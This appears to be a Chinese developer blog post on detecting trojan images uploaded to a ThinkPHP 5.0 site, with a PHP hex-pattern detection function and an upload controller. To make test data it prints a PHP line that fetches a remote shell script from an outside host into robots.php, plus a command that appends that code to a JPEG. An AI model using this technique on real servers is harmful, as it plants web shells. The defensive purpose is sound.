Thinkphp5.0检测上传的文件是否包含木马
2022-04-21 10:28:23826
很多做开发的程序员只懂写代码,但不懂得自己的代码有没有漏洞,一旦出现漏洞,上线后就容易被黑客利用,从而给公司带来经济损失。要想修复漏洞,那肯定是要先寻找漏洞,找到真正的漏洞所在,才能进行修复,那要如何寻找漏洞呢,聪明的运维一般会查看网站系统运行日志,从日志里看出一些端倪。我这个知宇自动发卡平台的漏洞,是从网站日志以及黑客的入侵代码里分析出来的,这里我就不简述了,直接干正事。
一、要做测试,那么肯定是要准备一张带木马的图片文件,制作木马图片的方法:
1、创建一个名为test.php的文件,代码:
<?php copy("http://www.zy13.net/shell.txt","robots.php"); ?>test.php里的代码说明:
copy(要复制的文件,复制文件的目的地);
http://php.123.com/shell.txt http://www.zy13.net/shell.txt是远程服务器里的一个txt文件,里面包含我们的木马核心代码,也就是shell提权脚本;
test.php要实现的功能:自动复制shell.txt里的代码到robots.php这个文件里。
shell.txt里的代码实际上就是黑客的入侵逻辑代码,想怎么写都可以,这里用简单的一句话来做测试:
2、找一张正常的图片,假设图片名为1.jpg,我们把test.php文件和1.jpg这个图片放在同一个目录里。

3、在这个目录运行cmd命令窗口,输入以下命令,然后回车
copy 1.jpg/b+test.php/a 2.jpg
4、然后会在同级目录下生成一个2.jpg图片,这个就是我们需要的木马图片,使用Notepad++工具打开这张2.jpg图片,会在最末尾发现test.php里的代码

这张2.jpg图片表面上和1.jpg一样,没有什么区别,但它却是一张木马图片。
二、在公共函数里写一个检测木马的方法,如下:
<?php
/**
* 检测文件是否包含木马
*
* @param $filepath 文件路径
* @return $status 0为正常 1为可疑木马文件 -1为文件没有上传
*/
function checkMuma($filepath) {
$status = 0;
$tips = array(
"0" => "文件没问题",
"1" => "文件为可疑木马文件",
"-1" => "文件没有上传"
);
if (file_exists($filepath)) {
$resource = fopen($filepath, 'rb');
$fileSize = filesize($filepath);
fseek($resource, 0);
if ($fileSize > 512) { // 取头和尾
$hexCode = bin2hex(fread($resource, 512));
fseek($resource, $fileSize - 512);
$hexCode .= bin2hex(fread($resource, 512));
} else { // 取全部
$hexCode = bin2hex(fread($resource, $fileSize));
}
fclose($resource);
/* 通过匹配十六进制代码检测是否存在木马脚本*/
/* 匹配16进制中的 <% ( ) %> */
/* 匹配16进制中的 <? ( ) ?> */
/* 匹配16进制中的 <script | /script> 大小写亦可 */
if (preg_match("/(3c25.*?28.*?29.*?253e)|(3c3f.*?28.*?29.*?3f3e)|(3C534352495054)|(2F5343524950543E)|(3C736372697074)|(2F7363726970743E)/is", $hexCode)) {
$status = 1;
}
} else {
$status = -1;
}
return $status;
}
?>三、在上传文件的时候,调用检测方法:
<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
use think\Cache;
use think\Session;
use think\Request;
class User extends Controller {
//上传图片
public function upload() {
$path = ROOT_PATH . 'public/uploads/';
if(!file_exists($path)) {
mkdir($path,0777,true);
}
$file = request()->file('file');
if($file) {
//检测文件是否包含木马
$omgpath=$file->getInfo('tmp_name');
if(checkMuma($omgpath)==1) {
$data['code'] = 0;
$data['msg'] ='您上传的文件为可疑木马,请自重!';
} else {
//限制只能上传2MB图片
$info = $file->rule(function() {
return md5(microtime(true));
})->validate(['size'=>1024*1024*2,'ext'=>'jpg,png,gif,jpeg'])->move($path);
$data= array();
if($info) {
$data['code'] = 1;
$data['msg'] ='上传成功!';
$data['data']['src'] ='/uploads/'.$info->getSaveName();
} else {
$data['code'] = 0;
$data['msg'] ='上传失败,请检查文件类型是否允许上传!';
}
}
return $data;
}
}
}
?>代码写好后,开始上传那张带木马的2.jpg图片
